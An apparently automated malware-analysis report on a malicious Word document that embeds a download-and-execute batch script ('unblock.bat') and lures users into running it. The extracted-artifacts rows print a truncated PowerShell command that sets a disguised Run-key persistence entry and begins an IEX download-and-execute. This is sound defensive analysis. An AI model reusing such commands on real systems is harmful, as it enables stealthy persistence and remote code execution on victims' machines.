Office (OOXML) malware analysis — malicious · cf9b2b40ac621aaf

MALICIOUS

Office (OOXML)

49.3 KB Created: 2017-09-11 22:53:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-12-25

MD5: 61e25b25240f596b3adc222764c36d6c SHA-1: 07bec7264773f98f0a94bd6cf0a0552c437fbfdc SHA-256: cf9b2b40ac621aaf3241ff570bd7a238f6402102c29e4fbba3c5ce0cb8bc25f9

182 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The sample is an Office document containing an embedded OLE object which is a batch script named 'unblock.bat'. Heuristics indicate this script is a download-and-execute payload. The document body explicitly instructs the user to double-click the icon and select 'Run' to unlock content, which is a social engineering tactic to bypass user caution. The batch script likely downloads and executes a second-stage payload.

Heuristics 5

Ole10Native package payload is a download-and-execute script critical OFFICE_PACKAGE_SCRIPT_DROPPER

The OLE Package's embedded payload contains a script that hosts a shell (PowerShell/WScript/mshta), fetches a remote resource, and executes it — a download-and-run dropper. Embedding such a script inside an Office document via the Object Packager is a direct user-execution delivery technique (MITRE T1204.002), not a benign attachment.
Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE

OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded OLE object medium OOXML_OLE_OBJECT

Document contains an embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`ooxml_oleobject_00.bin`	ooxml-ole-object	OOXML embedded OLE part: word/embeddings/oleObject1.bin	10752 bytes
SHA-256: `ac7033356172611ca4a051af7f42583ea1514c3220c435646c6647c5e886a334`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): powershell.exe -exec bypass -nop -w hidden -c "Set-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'chromium update' -Value 'c:\WINDOWS\system32\Wind, PowerShell\v1.0\powershell.exe -exec bypass -noexit -nop -w hidden -c ""IEX ((n
`ooxml_oleobject_00_ole10native_00.bin`	ole-package	OOXML word/embeddings/oleObject1.bin Ole10Native stream: Ole10Native	8024 bytes
SHA-256: `be981466b4fd1c631ab3f2aea485ec798e422ab6c14eeb8b06a7761a0e4e751c`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): powershell.exe -exec bypass -nop -w hidden -c "Set-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'chromium update' -Value 'c:\WINDOWS\system32\Wind, PowerShell\v1.0\powershell.exe -exec bypass -noexit -nop -w hidden -c ""IEX ((n
`ooxml_oleobject_00_ole10native_00_unblock.bat`	ole-package-payload	OOXML word/embeddings/oleObject1.bin Ole10Native payload: display_name=unblock.bat; full_path=C:\Users\newborn\AppData\Local\Temp\unblock.bat; temp_path=; def_file=	7709 bytes
SHA-256: `6da8f99436818ee0144eb2e01e727f64a3204e9c4e475b894078d5d2b8d00dcc`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 shell/COM execution token(s).
`emf_00.emf`	ooxml-emf	OOXML EMF part: word/media/image2.emf	5168 bytes
SHA-256: `c3f3c54d2d393ccbcb3af6f9ea5f1f2bf75096caceda4c55b0dce62963309ff0`

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